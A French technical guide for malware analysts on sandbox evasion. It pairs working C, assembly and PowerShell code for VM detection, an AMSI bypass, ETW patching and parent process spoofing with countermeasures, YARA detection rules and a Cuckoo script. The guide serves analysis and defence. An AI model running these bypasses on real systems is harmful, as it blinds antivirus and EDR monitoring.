Malware analysis sandbox evasion 2026 : CPUID VM detection, RDTSC timing, AMSI bypass, ETW patching et anti-sandbox YARA rules — guide technique analyste.
TL;DR — En résumé
Guide technique approfondi sur malware analysis : sandbox evasion techniques. Cet article presente les techniques, outils et bonnes pratiques pour.
Les malwares modernes intègrent des dizaines de techniques d'évasion avant d'activer leur charge utile. Ce guide couvre les vecteurs offensifs — CPUID hypervisor detection, RDTSC timing, AMSI bypass, ETW patching, parent process spoofing — avec du code fonctionnel C/ASM/PowerShell et les contre-mesures appliquées par les sandbox modernes en 2026.
La malware analysis sandbox evasion 2026 est devenue un bras de fer technique permanent entre auteurs de malwares et éditeurs de solutions d'analyse dynamique. En 2025, plus de 60 % des échantillons soumis à VirusTotal contenaient au moins une technique d'évasion d'environnement virtuel, contre 40 % trois ans auparavant. Les opérateurs de Cuckoo Sandbox, ANY.RUN et d'autres plateformes interactives font face à des malwares qui détectent l'instrumentation en quelques millisecondes : ils vérifient la position du curseur, interrogent les registres CPU via CPUID, mesurent l'écart entre l'horloge physique et l'horloge émulée avec RDTSC, patchent AmsiScanBuffer en mémoire avant toute exécution de shellcode, et écrasent le prologue d'EtwEventWrite pour aveugler les EDR. Pour un analyste malware, ignorer ces techniques conduit à des rapports incomplets : l'échantillon reste dormant en sandbox, ne révèle aucune activité réseau ni persistance, et est classé bénin à tort. Référencées sous MITRE ATT&CK T1497 (Virtualization/Sandbox Evasion), ces techniques évoluent en permanence. Ce guide documente les vecteurs les plus utilisés en 2026 avec du code fonctionnel, des YARA rules opérationnelles, et les stratégies de contre-mesure disponibles pour forcer l'exécution malgré l'évasion.
À retenir
- CPUID hypervisor bit : Le bit 31 du registre ECX retourné par l'instruction CPUID (EAX=1) est à 1 dans tout environnement virtualisé — VMware, VirtualBox, Hyper-V. VMware expose en plus la magic value
0x564D5868("VMXh") via le port I/O0x5658. - AMSI bypass : Patcher les six premiers octets de
AmsiScanBufferavecB8 57 00 07 80 C3(mov eax, E_INVALIDARG; ret) désactive l'interface AMSI pour le processus courant. Sur Windows 11 22H2+, le kernel AMSI provider résiste à ce patch userland. - ETW patching : Écraser le premier octet de
EtwEventWritedans ntdll.dll avec0xC3(ret) aveugle les providers ETW en espace utilisateur — les EDR qui instrumentent via ETW userland ne reçoivent plus aucun événement du processus ciblé. - Sleep acceleration : Cuckoo et ANY.RUN hookent
Sleep()pour retourner immédiatement. Les malwares détectent cela en comparantGetTickCount()avant et après unSleep(5000): si moins de 4 900 ms se sont écoulées selon l'horloge, l'environnement est instrumenté. - ANY.RUN : Sandbox interactive qui permet d'interagir manuellement avec le malware pendant l'analyse (clics, saisie clavier), neutralisant les checks d'interaction utilisateur basés sur
GetCursorPos()etGetLastInputInfo().
VM Detection via l'instruction CPUID : la technique fondamentale
L'instruction x86 CPUID est conçue pour retourner des informations sur le processeur. Avec EAX=1, elle retourne dans ECX les feature flags du CPU. Le bit 31 de ECX — le hypervisor present bit — est positionné à 1 par tous les hyperviseurs conformes (VMware ESXi, VirtualBox, Hyper-V, KVM, QEMU) pour signaler leur présence aux systèmes d'exploitation invités. Les malwares exploitent ce mécanisme depuis 2009, mais il reste efficace en 2026 car modifier ce bit dans une sandbox casse des fonctionnalités légitimes qui s'appuient sur la présence de l'hyperviseur.
// CPUID hypervisor detection en C avec intrinsics MSVC
#include <windows.h>
#include <intrin.h>
BOOL IsRunningInVM(void) {
int cpuInfo[4] = {0};
// EAX=1 : Processor Info and Feature Bits
__cpuid(cpuInfo, 1);
// Bit 31 de ECX = hypervisor present bit
// VMware, VirtualBox, Hyper-V, KVM positionnent ce bit à 1
if (cpuInfo[2] & (1 << 31)) {
return TRUE;
}
// Vérification spécifique VMware via magic port I/O
// Envoyer la commande 0xA sur le port 0x5658 avec EBX = magic "VMXh"
__try {
DWORD magic = 0;
__asm {
push eax
push ebx
push ecx
push edx
mov eax, 0x564D5868 // "VMXh" - VMware magic value
mov ecx, 0x0A // GET_VERSION command
mov dx, 0x5658 // VMware backdoor I/O port "VX"
in eax, dx // Lire la réponse
mov magic, ebx // EBX contient "VMXh" si VMware
pop edx
pop ecx
pop ebx
pop eax
}
if (magic == 0x564D5868) {
return TRUE; // VMware confirmé
}
} __except(EXCEPTION_EXECUTE_HANDLER) {
// Exception protection fault sur machine physique — comportement normal
}
return FALSE;
}
Les sandbox modernes répondent en patchant la réponse CPUID à la volée pour retourner ECX avec le bit 31 à 0. Cette contre-mesure est détectable par incohérence : si l'instruction CPUID avec EAX=0x40000000 (hypervisor leaf) retourne une chaîne d'identification valide (VMwareVMware, KVMKVMKVM, Microsoft Hv) mais que le bit 31 de ECX reste à 0, la sandbox a patché CPUID de manière incohérente. Les auteurs de malwares sophistiqués vérifient les deux — ce qu'on appelle un cross-check CPUID.
La contre-mesure robuste côté analyste consiste à utiliser une machine physique dédiée (analyse bare-metal) ou à configurer KVM avec l'option -cpu host,kvm=off,hv_vendor_id=AuthenticAMD pour masquer complètement le leaf hyperviseur et retourner une vendor ID non compromettante.
RDTSC Timing Attacks : mesurer l'instrumentation en cycles CPU
L'instruction RDTSC (Read Time-Stamp Counter) lit le compteur de cycles CPU depuis le dernier reset. Dans un environnement instrumenté — sandbox qui hoooke les syscalls, émulateur basé sur QEMU TCG, débogueur avec breakpoints logiciels — l'exécution de certaines opérations prend sensiblement plus de cycles que sur une machine physique. Les malwares exploitent cette discrepance pour détecter l'instrumentation sans déclencher aucune API suspecte.
// RDTSC timing attack : détecter l'over-instrumentation
#include <windows.h>
#include <stdint.h>
BOOL DetectInstrumentation(void) {
uint32_t eax_before, edx_before, eax_after, edx_after;
uint64_t t1, t2, delta;
// Sérialiser avec CPUID pour vider le pipeline d'instructions
__asm { cpuid }
// Première lecture TSC
__asm {
rdtsc
mov eax_before, eax
mov edx_before, edx
}
// Opération de référence : CPUID flush le pipeline et prend un temps mesurable
__asm { cpuid }
// Seconde lecture TSC
__asm {
rdtsc
mov eax_after, eax
mov edx_after, edx
}
t1 = ((uint64_t)edx_before << 32) | eax_before;
t2 = ((uint64_t)edx_after << 32) | eax_after;
delta = t2 - t1;
// Sur machine physique Haswell/Skylake : CPUID prend environ 100 à 400 cycles
// Sous émulation QEMU TCG ou avec hooks lourds : delta dépasse souvent 1000 cycles
if (delta > 750) {
return TRUE; // Environnement probablement instrumenté
}
return FALSE;
}
// Variante : détecter l'accélération du Sleep via GetTickCount
BOOL DetectSleepAcceleration(void) {
DWORD before = GetTickCount();
Sleep(5000);
DWORD elapsed = GetTickCount() - before;
// Si moins de 4900 ms se sont écoulées, Sleep() a été hookée et accélérée
return (elapsed < 4900);
}
L'intérêt du RDTSC réside dans sa difficulté de masquage : retarder artificiellement chaque lecture TSC casse des applications légitimes qui s'en servent pour la synchronisation et le profiling de performance. Certaines sandbox injectent un délai compensatoire après leurs hooks d'API pour réduire le delta, mais cela impacte les performances globales et génère des artefacts mesurables par d'autres techniques de timing.
Comment les malwares vérifient-ils l'interaction utilisateur ?
Une sandbox automatisée ne génère pas d'activité utilisateur réelle. Les malwares exploitent cette absence via trois API Windows qui révèlent l'absence d'interaction humaine. Ces checks sont particulièrement efficaces contre les pipelines d'analyse batch qui exécutent des centaines d'échantillons sans intervention manuelle.
GetCursorPos() retourne la position courante du curseur. Dans une sandbox automatisée, la souris reste souvent fixe — généralement à (0,0) ou à une position constante définie au démarrage. Les malwares appellent cette fonction deux fois avec un intervalle de 1 à 3 secondes et concluent à une analyse automatisée si la position n'a pas bougé.
GetLastInputInfo() retourne le timestamp du dernier événement d'entrée (clavier ou souris) depuis le boot. Si ce délai dépasse plusieurs minutes, aucun humain n'utilise activement la machine. Ce check est particulièrement efficace contre les sandbox qui démarrent l'analyse immédiatement après le boot sans simulation d'activité préalable.
EnumWindows() permet de compter les fenêtres visibles sur le bureau. Une machine de travail normale en affiche des dizaines. Une sandbox fraîchement démarrée en a souvent moins de 5, trahissant l'environnement d'analyse.
// User interaction checks combinés
#include <windows.h>
BOOL CheckUserInteraction(void) {
// Check 1 : mouvement de souris sur 2 secondes
POINT pt1, pt2;
GetCursorPos(&pt1);
Sleep(2000);
GetCursorPos(&pt2);
BOOL cursor_moved = (pt1.x != pt2.x || pt1.y != pt2.y);
// Check 2 : temps depuis le dernier input utilisateur
LASTINPUTINFO lii;
lii.cbSize = sizeof(LASTINPUTINFO);
GetLastInputInfo(&lii);
DWORD idle_ms = GetTickCount() - lii.dwTime;
BOOL user_idle = (idle_ms > 180000); // Plus de 3 minutes sans input
// Check 3 : nombre de fenêtres visibles
int window_count = 0;
EnumWindows([](HWND hwnd, LPARAM lParam) -> BOOL {
if (IsWindowVisible(hwnd)) {
(*(int*)lParam)++;
}
return TRUE;
}, (LPARAM)&window_count);
BOOL too_few_windows = (window_count < 8);
// Combiner les résultats avec un score de confiance
int suspicion_score = 0;
if (!cursor_moved) suspicion_score += 2;
if (user_idle) suspicion_score += 3;
if (too_few_windows) suspicion_score += 2;
// Score >= 4 : forte probabilité d'environnement d'analyse
return (suspicion_score >= 4);
}
La contre-mesure d'ANY.RUN est précisément son interface interactive : l'analyste peut cliquer, taper du texte et interagir avec le malware en temps réel pendant toute la durée de l'analyse, rendant ces checks inefficaces. Les sandbox automatisées modernes scriptent des mouvements de souris aléatoires et des frappes clavier via des bots UI (autoit, pyautogui) avant le lancement de l'échantillon.
Process List Enumeration : identifier les outils d'analyse actifs
La présence de processus spécifiques trahit immédiatement un environnement d'analyse. Les malwares énumèrent les processus via CreateToolhelp32Snapshot() couplé à Process32First/Next() et comparent les noms à une liste noire interne, souvent stockée sous forme de hash CRC32 ou FNV pour éviter les détections statiques de strings.
Processus les plus fréquemment ciblés en 2026 :
- Hyperviseurs VMware :
vmwaretray.exe,vmwareuser.exe,vmtoolsd.exe,vmacthlp.exe - Hyperviseurs VirtualBox :
vboxservice.exe,vboxtray.exe,vboxguest.exe - Analyse réseau :
wireshark.exe,fiddler.exe,tcpview.exe,rawcap.exe - Débogueurs et reverse engineering :
ollydbg.exe,x64dbg.exe,ida.exe,ida64.exe,radare2.exe,ghidra.exe - Monitoring système :
procmon.exe,procmon64.exe,procexp.exe,autoruns.exe,regmon.exe - Agents sandbox :
cuckoo.exe,analyzer.exe,sandboxie.exe,sbiesvc.exe
// Process enumeration avec comparaison par hash FNV-1a
// (évite les strings lisibles dans le binaire final)
#include <windows.h>
#include <tlhelp32.h>
// Hash FNV-1a 32-bit, insensible à la casse
DWORD FNV1a(const char* str) {
DWORD hash = 0x811c9dc5;
while (*str) {
hash ^= (BYTE)tolower(*str++);
hash *= 0x01000193;
}
return hash;
}
// Hashes pré-calculés des processus blacklistés (calcul offline)
// Aucune string visible dans le binaire final
const DWORD BLACKLIST_HASHES[] = {
0x519F9B56, // vboxservice.exe
0x4E9D3A12, // vmwaretray.exe
0x7C3F1B89, // wireshark.exe
0x2A8E5C34, // procmon.exe
0x6D1A7F23, // ollydbg.exe
0x3B5E9D01, // x64dbg.exe
0x8F2C4A67, // ida64.exe
0 // sentinel
};
BOOL IsAnalysisEnvironment(void) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return FALSE;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
BOOL found = FALSE;
if (Process32First(hSnapshot, &pe)) {
do {
DWORD h = FNV1a(pe.szExeFile);
for (int i = 0; BLACKLIST_HASHES[i] != 0; i++) {
if (h == BLACKLIST_HASHES[i]) {
found = TRUE;
break;
}
}
} while (!found && Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return found;
}
La contre-mesure sandbox consiste à renommer ou masquer les processus agents. Cuckoo Sandbox 3.x peut s'exécuter sans agent visible en mode agentless, en injectant l'instrumentation directement dans le noyau. Certaines sandbox hollow injectent l'agent dans un processus légitime comme svchost.exe, rendant la détection par nom de processus inefficace.
Comment les malwares contournent-ils l'accélération du temps en sandbox ?
Pour analyser rapidement des malwares qui dormvent plusieurs minutes avant d'agir, les sandbox hookent Sleep(), WaitForSingleObject(), et NtDelayExecution() dans ntdll.dll pour retourner immédiatement, comprimant une analyse de 10 minutes à quelques secondes. Les malwares détectent ce comportement et refusent d'exécuter leur payload.
La détection naïve compare GetTickCount() avant et après Sleep(5000). Mais cette comparaison est elle-même hookée dans certaines sandbox avancées qui simulent également le passage du temps pour GetTickCount. Les variantes avancées de bypass incluent :
- Boucles computationnelles : au lieu de
Sleep(), effectuer un million d'opérations cryptographiques légères (hachage itératif de données aléatoires). Impossible à accélérer sans modifier la vitesse du CPU physique. - Délais via I/O réseau : tenter une connexion TCP avec un long timeout vers une adresse routable mais non répondante — le timeout TCP est géré par le noyau et ne peut pas être comprimé par un hook userland classique.
- NtDelayExecution direct syscall : bypasser tous les hooks userland en appelant directement le numéro de syscall de
NtDelayExecutionvia l'instructionsyscall, ignorant tout hook posé sur ntdll.dll. Le numéro de syscall varie selon la version de Windows. - RDTSC polling actif : boucle qui lit le TSC et attend qu'un nombre de cycles correspondant au délai souhaité se soit écoulé — insensible à tout hook d'API, mesure directement l'horloge hardware.
AMSI Bypass : patcher AmsiScanBuffer en mémoire
L'Antimalware Scan Interface (AMSI) est intégrée depuis Windows 10 pour permettre aux solutions de sécurité d'analyser le code interprété avant exécution — scripts PowerShell, VBScript, JScript, et tout code en mémoire soumis par une application compatible. Le bypass le plus répandu en 2026 reste le patch mémoire direct de la fonction AmsiScanBuffer dans amsi.dll.
# AMSI bypass via patch mémoire de AmsiScanBuffer
# Usage : analyse en environnement de lab isolé uniquement
$Win32 = @'
using System;
using System.Runtime.InteropServices;
public class Win32Api {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
}
'@
Add-Type $Win32
$amsiAddr = [Win32Api]::GetProcAddress(
[Win32Api]::LoadLibrary("amsi.dll"),
"AmsiScanBuffer"
)
# Patch : B8 57 00 07 80 = mov eax, 0x80070057 (E_INVALIDARG)
# C3 = ret
# Après patch, AmsiScanBuffer retourne toujours E_INVALIDARG
# Le code soumis n'est jamais scanné par les providers AMSI
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$oldProtect = 0
[Win32Api]::VirtualProtect($amsiAddr, [UIntPtr]6, 0x40, [ref]$oldProtect) | Out-Null
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $amsiAddr, 6)
[Win32Api]::VirtualProtect($amsiAddr, [UIntPtr]6, $oldProtect, [ref]$oldProtect) | Out-Null
Write-Host "[+] AMSI desactive - AmsiScanBuffer retourne systematiquement E_INVALIDARG"
Les contre-mesures modernes face à ce bypass :
- Kernel AMSI provider (Windows 11 22H2+) : hook côté noyau via
PsRegisterAltSystemCallHandler, non patchable depuis l'espace utilisateur — le bypass mémoire de amsi.dll ne l'affecte pas - Détection comportementale EDR : Microsoft Defender for Endpoint détecte les appels
VirtualProtect+ écriture mémoire sur amsi.dll via des règles comportementales ETW kernel - Constrained Language Mode PowerShell : limite les types .NET disponibles, rendant certains bypasses basés sur
Add-Typeimpossibles en mode restreint - WDAC (Windows Defender Application Control) : peut bloquer les assemblies non signées chargées dynamiquement en mémoire
L'ANSSI documente dans ses rapports disponibles sur cyber.gouv.fr l'usage systématique des bypasses AMSI dans les campagnes ransomware récentes, notamment pour protéger les loaders PowerShell des groupes LockBit 3.0 et BlackCat/ALPHV.
ETW Patching : aveugler le Event Tracing for Windows
Event Tracing for Windows (ETW) est le mécanisme de télémétrie natif de Windows. De nombreux EDR s'appuient sur des providers ETW — notamment Microsoft-Windows-Threat-Intelligence — pour détecter les activités suspectes en espace utilisateur : injection de code, accès mémoire inter-processus, chargement de modules non signés. Patcher ETW au niveau userland aveugle ces détections sans jamais toucher au noyau.
// ETW patching : neutraliser EtwEventWrite dans ntdll.dll
#include <windows.h>
BOOL PatchETW(void) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return FALSE;
FARPROC pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
if (!pEtwEventWrite) return FALSE;
// Patch minimaliste : remplacer le premier octet par RET (0xC3)
// Tout appel ultérieur à EtwEventWrite retournera immédiatement
// sans écrire aucun événement dans le buffer ETW du processus
DWORD oldProtect;
if (!VirtualProtect((LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect)) {
return FALSE;
}
*(BYTE*)pEtwEventWrite = 0xC3; // RET
VirtualProtect((LPVOID)pEtwEventWrite, 1, oldProtect, &oldProtect);
// Étendre aux variantes de la fonction pour une couverture complète
const char* etw_funcs[] = {
"EtwEventWriteFull", "EtwEventWriteEx",
"EtwEventWriteTransfer", NULL
};
for (int i = 0; etw_funcs[i]; i++) {
FARPROC fn = GetProcAddress(hNtdll, etw_funcs[i]);
if (fn) {
VirtualProtect((LPVOID)fn, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)fn = 0xC3;
VirtualProtect((LPVOID)fn, 1, oldProtect, &oldProtect);
}
}
return TRUE;
}
Ce patch est efficace contre les outils qui s'appuient uniquement sur les événements ETW en espace utilisateur. Il est détectable par plusieurs mécanismes :
- Kernel ETW providers : les événements générés par les drivers noyau (ring 0) ne sont pas affectés par le patch userland
- Integrity checks sur ntdll.dll : certains EDR comparent régulièrement les octets de ntdll.dll en mémoire avec une copie de référence sur disque, détectant toute modification
- VBS/HVCI (Hypervisor-Protected Code Integrity) : empêche toute modification de pages mémoire marquées comme code par le noyau — ce patch devient impossible sur les systèmes avec HVCI activé
- Callbacks noyau : les EDR peuvent utiliser des callbacks noyau (
PsSetLoadImageNotifyRoutine) pour détecter les modifications de code en espace utilisateur
Parent Process Spoofing : masquer l'origine d'un processus malveillant
Les sandbox analysent l'arbre de processus pour détecter les comportements anormaux — un Word.exe qui lance PowerShell, ou cmd.exe démarré depuis un répertoire inattendu. Le parent process spoofing via l'attribut PROC_THREAD_ATTRIBUTE_PARENT_PROCESS de l'API CreateProcess permet de choisir arbitrairement le parent apparent d'un nouveau processus.
// Parent Process Spoofing via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
#include <windows.h>
#include <tlhelp32.h>
// Trouver le PID d'un processus par son nom
DWORD GetPidByName(const char* name) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };
DWORD pid = 0;
if (Process32First(hSnap, &pe)) {
do {
if (_stricmp(pe.szExeFile, name) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
return pid;
}
BOOL SpawnWithSpoofedParent(LPCSTR targetExe, const char* spoofParentName) {
DWORD spoofPid = GetPidByName(spoofParentName);
if (!spoofPid) return FALSE;
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, spoofPid);
if (!hParent) return FALSE;
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
LPPROC_THREAD_ATTRIBUTE_LIST pAttr =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(pAttr, 1, 0, &attrSize);
UpdateProcThreadAttribute(pAttr, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE), NULL, NULL);
STARTUPINFOEXA siex = { 0 };
siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
siex.lpAttributeList = pAttr;
PROCESS_INFORMATION pi;
// Le processus créé apparaîtra dans l'arbre comme enfant direct de spoofParentName
BOOL result = CreateProcessA(
targetExe, NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
NULL, NULL, &siex.StartupInfo, &pi
);
CloseHandle(hParent);
DeleteProcThreadAttributeList(pAttr);
HeapFree(GetProcessHeap(), 0, pAttr);
if (result) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
return result;
}
// Usage : lancer PowerShell avec explorer.exe comme parent apparent
// SpawnWithSpoofedParent("powershell.exe -enc ...", "explorer.exe");
Un loader qui utilise cette technique avec le PID d'explorer.exe comme parent apparent pour lancer PowerShell contourne toutes les règles de détection basées sur l'arbre parent-enfant : le SIEM voit explorer.exe → PowerShell, ce qui est parfaitement légitime. Cette technique a été identifiée dans la campagne SolarWinds SUNBURST et reste très répandue dans les toolkits APT en 2026. Les contre-mesures efficaces analysent la séquence des syscalls de création de processus et l'identité du processus initiateur via des handles, pas uniquement le PID parent visible dans l'arbre.
Anti-sandbox YARA Rules : détecter statiquement les techniques d'évasion
Les YARA rules permettent de détecter statiquement les caractéristiques d'évasion dans un binaire avant même de l'exécuter. Voici trois règles opérationnelles pour identifier des binaires implémentant les techniques couvertes dans ce guide.
rule Malware_CPUID_VM_Detection {
meta:
description = "Détecte l'usage de CPUID pour identifier les environnements virtualisés"
author = "Ayinedjimi Threat Research"
date = "2026-01-01"
mitre = "T1497.001"
reference = "https://attack.mitre.org/techniques/T1497/001/"
strings:
// B8 01 00 00 00 0F A2 : MOV EAX,1 suivi de CPUID
$cpuid_seq = { B8 01 00 00 00 0F A2 }
// Magic VMware "VMXh" = 0x564D5868 en little-endian
$vmware_magic = { 68 58 4D 56 }
// Chaînes hyperviseur brand (hypervisor leaf EAX=0x40000000)
$vmware_str = "VMwareVMware" ascii wide
$hyperv_str = "Microsoft Hv" ascii wide
$kvm_str = "KVMKVMKVM" ascii wide
$vbox_str = "VBoxVBoxVBox" ascii wide
// Port VMware backdoor (0x5658 "VX")
$vmware_port = { BA 58 56 00 00 }
condition:
uint16(0) == 0x5A4D and (
$cpuid_seq or
($vmware_magic and 1 of ($vmware_str, $hyperv_str, $kvm_str, $vbox_str)) or
($vmware_port and $vmware_magic)
)
}
rule Malware_AMSI_ETW_Bypass {
meta:
description = "Détecte les tentatives de bypass AMSI et de patching ETW en mémoire"
author = "Ayinedjimi Threat Research"
date = "2026-01-01"
mitre = "T1562.001, T1562.006"
strings:
$amsi_func = "AmsiScanBuffer" ascii wide
$amsi_dll = "amsi.dll" ascii wide nocase
$etw_func = "EtwEventWrite" ascii wide
$ntdll = "ntdll.dll" ascii wide nocase
// Séquence patch AMSI : MOV EAX, E_INVALIDARG (0x80070057)
$amsi_patch = { B8 57 00 07 80 }
$vprotect = "VirtualProtect" ascii wide
$gpa = "GetProcAddress" ascii wide
condition:
uint16(0) == 0x5A4D and $vprotect and $gpa and (
($amsi_func and $amsi_dll and $amsi_patch) or
($etw_func and $ntdll)
)
}
rule Malware_SleepEvasion_UserInteraction {
meta:
description = "Détecte les malwares vérifiant l'accélération du Sleep et l'interaction utilisateur"
author = "Ayinedjimi Threat Research"
date = "2026-01-01"
mitre = "T1497.003, T1497.002"
strings:
$gettickcount = "GetTickCount" ascii wide
$sleep_api = "Sleep" ascii wide
$getlast = "GetLastInputInfo" ascii wide
$getcursor = "GetCursorPos" ascii wide
$enumwindows = "EnumWindows" ascii wide
condition:
uint16(0) == 0x5A4D and
$sleep_api and $gettickcount and
2 of ($getlast, $getcursor, $enumwindows)
}
Comment analyser un malware évasif avec Cuckoo et ANY.RUN ?
Cuckoo Sandbox 3.x supporte le mode bare-metal (analyse sur machine physique dédiée) qui élimine CPUID, RDTSC et la majorité des checks VM. Couplé au mode free=yes qui désactive les hooks les plus intrusifs, ce mode permet d'obtenir des rapports utilisables même sur des échantillons très évasifs. L'API REST permet d'automatiser les soumissions et l'extraction des indicateurs :
#!/usr/bin/env python3
# Soumet un echantillon a Cuckoo et extrait les indicateurs d'evasion
import json, sys, time, requests
CUCKOO_API = "http://localhost:8090"
def submit_sample(path, machine="win10_bare"):
with open(path, "rb") as f:
r = requests.post(
f"{CUCKOO_API}/tasks/create/file",
files={"file": f},
data={
"options": "procmemdump=yes,free=yes",
"timeout": 180,
"machine": machine,
"enforce_timeout": True
}
)
r.raise_for_status()
return r.json()["task_id"]
def wait_for_report(task_id, poll_s=15):
url = f"{CUCKOO_API}/tasks/info/{task_id}"
while True:
status = requests.get(url).json()["task"]["status"]
print(f" [{task_id}] status: {status}", flush=True)
if status == "reported":
break
if status == "failed_analysis":
raise RuntimeError(f"Task {task_id} failed")
time.sleep(poll_s)
return requests.get(f"{CUCKOO_API}/tasks/report/{task_id}/json").json()
def extract_evasion_indicators(report):
results = {
"score": report.get("info", {}).get("score", 0),
"evasion_signatures": [],
"suspicious_api_calls": [],
"network_iocs": []
}
EVASION_KEYWORDS = {
"evasion", "sandbox", "vm_detect", "anti_debug",
"anti_analysis", "sleep_evasion", "amsi", "etw"
}
for sig in report.get("signatures", []):
name = sig.get("name", "").lower()
if any(k in name for k in EVASION_KEYWORDS):
results["evasion_signatures"].append({
"name": sig["name"],
"severity": sig.get("severity", 0),
"description": sig.get("description", "")[:200]
})
SUSPICIOUS_APIS = {
"VirtualProtect", "WriteProcessMemory", "CreateRemoteThread",
"NtUnmapViewOfSection", "NtAllocateVirtualMemory", "NtCreateThreadEx"
}
for proc in report.get("behavior", {}).get("processes", []):
for call in proc.get("calls", []):
if call.get("api") in SUSPICIOUS_APIS:
results["suspicious_api_calls"].append({
"pid": proc["pid"],
"process": proc.get("process_name", ""),
"api": call["api"]
})
network = report.get("network", {})
for d in network.get("domains", []):
results["network_iocs"].append(d["domain"])
for t in network.get("tcp", []):
results["network_iocs"].append(f"{t['dst']}:{t['dport']}")
return results
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: parse_cuckoo.py <sample> [machine]")
sys.exit(1)
machine = sys.argv[2] if len(sys.argv) > 2 else "win10_bare"
task_id = submit_sample(sys.argv[1], machine)
print(f"[+] Submitted task_id={task_id}")
report = wait_for_report(task_id)
indicators = extract_evasion_indicators(report)
print(json.dumps(indicators, indent=2, ensure_ascii=False))
Pour les malwares qui détectent spécifiquement l'absence d'interaction utilisateur, ANY.RUN en mode interactif permet à l'analyste de cliquer, taper du texte et naviguer pendant l'analyse — neutralisant efficacement GetCursorPos, GetLastInputInfo et EnumWindows. Le mode monitoring avancé capture en temps réel les activités réseau, registre, fichiers système et processus, avec export JSON et PCAP complet.
Pour les malwares les plus récalcitrants, l'analyse manuelle avec x64dbg reste la méthode la plus fiable : poser des breakpoints sur les API d'évasion (GetCursorPos, IsDebuggerPresent, CheckRemoteDebuggerPresent), patcher les branches conditionnelles pour forcer le chemin payload, et suivre le déchiffrement du shellcode en mémoire avec un dump de région.
La corrélation des comportements d'évasion à travers de multiples soumissions sandbox s'automatise avec les approches couvertes dans Détection de Menaces par IA et SIEM Augmenté, où des modèles de classification identifient automatiquement les clusters de comportement communs entre variantes d'une même famille malware.
Tableau des techniques d'évasion et contre-mesures sandbox en 2026
| Technique | API / Instruction | MITRE ATT&CK | Contre-mesure sandbox | Efficacité résiduelle |
|---|---|---|---|---|
| CPUID hypervisor bit | CPUID (EAX=1, ECX bit 31) | T1497.001 | Patch réponse CPUID, KVM kvm=off | Moyenne — cross-checks détectables |
| VMware magic port I/O | IN/OUT port 0x5658 | T1497.001 | Filtrage I/O au niveau VMM | Faible sur hyperviseurs modernes |
| RDTSC timing attack | RDTSC, RDTSCP | T1497.003 | Délai compensatoire post-hooks | Élevée — difficile à masquer parfaitement |
| GetCursorPos check | GetCursorPos() | T1497.002 | Simulation souris via scripts UI | Faible sur ANY.RUN interactif |
| GetLastInputInfo idle | GetLastInputInfo() | T1497.002 | Génération d'activité simulée au boot | Faible sur sandbox avec bots UI |
| Process enumeration | CreateToolhelp32Snapshot | T1057 | Renommage / agentless Cuckoo 3.x | Moyenne — hash comparison difficile à contrer |
| Sleep acceleration detection | Sleep() + GetTickCount() | T1497.003 | Compensation du hook GetTickCount | Élevée via direct syscall NtDelayExecution |
| AMSI patching userland | AmsiScanBuffer (amsi.dll) | T1562.001 | Kernel AMSI provider (Win11 22H2+) | Faible sur Windows 11 récent |
| ETW patching userland | EtwEventWrite (ntdll.dll) | T1562.006 | Kernel ETW providers + VBS/HVCI | Faible si HVCI activé |
| Parent process spoofing | CreateProcess + PROC_THREAD_ATTRIBUTE | T1134.004 | Analyse séquence syscalls vs PID parent | Élevée contre monitoring basé sur l'arbre |
Intégrer l'analyse d'évasion dans une démarche Purple Team
Les techniques de sandbox evasion ne s'étudient pas en isolation — elles s'intègrent dans un cycle offensif-défensif structuré. Dans une démarche Purple Team : Méthodologie et Exercices, l'équipe rouge implémente ces techniques dans ses outils d'émulation (Cobalt Strike, Brute Ratel, Havoc C2) pour tester la capacité de détection de l'équipe bleue en conditions réelles.
Le cycle type sur ce vecteur :
- Red team déploie un loader intégrant CPUID check + ETW patch + AMSI bypass + parent process spoofing
- Blue team collecte les télémétries disponibles — ETW kernel, Sysmon EventID 10 et 8, événements Microsoft-Windows-Threat-Intelligence, logs EDR
- Identification collaborative des angles morts : quelle technique a échappé à la détection, quelle règle n'a pas déclenché
- Ajustement des règles de détection ou activation des contre-mesures appropriées (HVCI, audit syscalls de création processus, Constrained Language Mode)
Cette approche s'articule naturellement avec les capacités des Agents IA pour la Cyber-Défense et le Threat Hunting, qui peuvent automatiser la corrélation des comportements d'évasion détectés à travers des centaines d'alertes. La recherche de variantes sur VirusTotal Intelligence via des hunting rules YARA complète la threat intelligence en identifiant les nouvelles souches qui implémentent les mêmes patterns d'évasion.
